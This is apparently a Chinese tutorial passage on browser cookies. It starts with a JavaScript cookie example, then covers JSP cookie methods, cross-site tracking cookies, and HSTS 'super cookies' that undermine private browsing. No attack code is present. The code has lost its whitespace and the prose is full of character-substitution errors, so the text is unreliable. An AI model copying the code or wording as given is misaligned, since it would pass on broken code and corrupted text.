functiongetCookie(c_name)
{
if
(document.cookie.length>0)
{
c_start=document.cookie.indexOf(c_name+
"="
)
if
(c_start!=-1)
{
c_start=c_start+c_name.length+1
c_end=document.cookie.indexOf(
";"
,c_start)
if
(c_end==-1)
c_end=document.cookie.length
returnunescape(document.cookie.substring(c_start,c_end))
}
}
return
""
}
functionsetCookie(c_name,value,expiredays)
{
varexdate=newDate()
exdate.setDate(exdate.getDate()+expiredays)
document.cookie=c_name+
"="
+escape(value)+
((expiredays==
null
)?
""
:
";expires="
+exdate.toGMTString())
}
functioncheckCookie()
{
username=getCookie(
'username'
)
if
(username!=
null
&&username!=
""
)
{alert(
'Welcomeagain'
+username+
'!'
)}
else
{
username=prompt(
'Pleaseenteryourname:'
,
""
)
if
(username!=
null
&&username!=
""
)
{
setCookie(
'username'
,username,365)
}
}
}
</script>
</head>
<bodyonLoad=
"checkCookie()"
>
</body>
</html>
|
jsp中使用cookie完成状态管理:
cookie也算http消息报头的一部分,它的做用有如下方面:
一 记录访客的某些信息。例如能够利用cookie记录用户光临的网页次数,或者访客曾经输入过的信息。某些网站能够自动记录用户上次登陆的用户名,用的就是cookie。
二 页面之间传递变量。浏览器并不会保存当前页面上任何变量的信息,当页面被关闭时,页面上的全部变量信息将随之消失。
使用举例
在jsp中建立简单的cookie:
String cookiename="visitTimes";
Cookie cookie=new Cookie(cookiename,"1");
-
setMaxAge(10*60);//设置cookie存活期
-
addCookie(cookie);//将cookie写入客户端
在jsp中处理cookie数据的经常使用方法:
getDomain();返回cookie的域名.
getMaxAge();返回cookie的存活时间
getName();返回cookie的名字
getPath();返回cookie适用的路径
getSecure();若是浏览器经过安全协议发送Cookie将返回true值,若是浏览器使用标准协议刚返回false值
getValue();返回cookie的值
getVersion();返回cookie所听从的协议版本setComment(String purpose);设置cookie的注释
setPath(String url);设置Cookie的适用路径
setSecure(Boolean flag);设置浏览器是否仅仅使用安全协议来发送cookie,例如使用Https或ssl
setValue(String newvalue);cookie建立后设置一个新的值
setVersion(int v);设置cookie所听从的协议版本。
鉴于cookie的局限和反对者的声音,有以下一些替代方法:
Brownie方案,是一项开放源代码工程,由SourceForge发起。Brownie曾被用以共享在不一样域中的接入,而cookies则被构想成单一域中的接入。这项方案已经中止开发。
P3P,用以让用户得到更多控制我的隐私权利的协议。在浏览网站时,它相似于cookie。
在与服务器传输数据时,经过在地址后面添加惟一查询串,让服务器识别是否合法用户,也能够避免使用cookie。
跨站Cookie
实际上,Cookie中保存的用户名、密码等我的敏感信息一般通过加密,很难将其反向破解。但这并不意味着绝对安全,黑客可经过木马病毒盗取用户浏览器Cookie,直接经过偷取的Cookie骗取网站信任。能够看出,木马病毒入侵用户电脑是致使用户我的信息泄露的一大元凶。
自1993年Cookie诞生以来,其就拥有专属性原则,即A网站存放在Cookie中的用户信息,B网站是没有权限直接获取的。可是,一些第三方广告联盟的代码使用范围很广。这就形成用户在A网站搜索了一个关键字,用户继续访问B网站,因为B网站也使用了同一家的第三方广告代码,这个代码能够从Cookie中获取用户在A网站的搜索行为,进而展现更精准的推广广告。好比搜索“糖尿病”等关键词,再访问其联盟网站,页面会马上出现糖尿病治疗广告。若是并未事先告之,经用户赞成,此作法有对隐私构成侵犯的嫌疑。这个还处在灰色地带。
所以,跨站Cookie偏偏就是用户隐私泄露的罪魁祸首,因此限制网站使用跨站Cookie,给用户提供禁止跟踪(DNT)功能选项已成为当务之急。据了解,IE、Chrome、360、搜狗等浏览器都可以快速清除用户浏览器网页的Cookie信息。但从总体的隐私安全保护环境来看,安全软件仍然存在着巨大的防御缺口。因此安全软件也能够而且有必要提供按期清理网站Cookie,并监测跨站Cookie使用的功能,保护用户隐私安全。[11]
超级Cookies
英国伦敦的一名软件开发者已发现了一串代码,能在浏览器的隐私模式中执行普通会话,这将致使隐私模式的失效。
目前,全部主流浏览器都提供了隐私保护模式。在这种模式下,网站的Cookies没法追踪用户身份。例如,谷歌Chrome浏览器提供了名为“Incognito”的功能,而火狐浏览器则提供了“隐私窗口”功能。
不过,新发现的这一漏洞将致使浏览器隐私模式的失效。例如,当用户使用普通浏览器,在亚马逊网站上购物或浏览Facebook时,用户可能会启动一个隐私窗口,去浏览存在争议内容的博客。若是这一博客使用了与亚马逊一样的广告网络,或是集成了Facebook的“点赞”按钮,那么广告主和Facebook能够知道,用户在访问亚马逊和Facebook的同时也访问了这一争议博客。
对于这一漏洞,用户有一个临时解决办法,可是比较麻烦:用户能够在启动隐私模式以前删除全部Cookies文件,或者使用一个专门的浏览器,彻底在隐私模式下进行浏览。讽刺的是,这一漏洞是因为一项旨在增强隐私保护的功能所引发的。
若是用户在浏览器地址栏使用前缀https://,为某些网站的通讯加密,那么一些浏览器会对此进行记忆。浏览器会保存一个“超级Cookie”,从而确保当用户下次链接该网站时,浏览器会自动进入https通道。即便用户启用了隐私模式,这一记忆仍会存在。
与此同时,这样的超级Cookie也容许第三方网络程序,例如广告和社交媒体按钮,对用户进行记忆。
发现这一漏洞的独立研究员萨姆·格林哈尔(Sam Greenhelgh)在博客中表示,这种功能尚未被任何公司所使用。不过在这种方式被公开以后,没有任何办法去阻止各家公司这样作。
在线隐私软件公司Abine联合创始人尤金·库兹涅佐夫(Eugene Kuznetsov)认为,这种“超级Cookie”将成为下一代追踪工具。这种工具脱胎于Cookies,但变得更加复杂。目前,用户在浏览过程当中老是会存在设备惟一识别码,以及具备惟一性的浏览器指纹,这些痕迹很难被擦除。
因为“超级Cookie”的存在,互联网匿名性变得更加困难。库兹涅佐夫表示:“咱们已经看到了关于隐私保护的军备竞赛。追踪互联网用户的愿望就像是寄生虫。你浏览器中的任何内容都在被网站和广告主审视,从而实现更多的追踪。”Mozilla已经在最新版火狐浏览器中对此进行了修复,而谷歌则倾向于使Chrome维持原状。谷歌已经知道了“超级Cookie”带来的问题,但仍选择继续启用Chrome的https记忆功能。在安全性和隐私保护之间,谷歌选择了前者。
微软IE浏览器并不存在这样的问题,由于这款浏览器并未内建https记忆功能。格林哈尔还表示,在iOS设备上,“超级Cookie”带来的问题一样存在。[12]
-
参考资料
-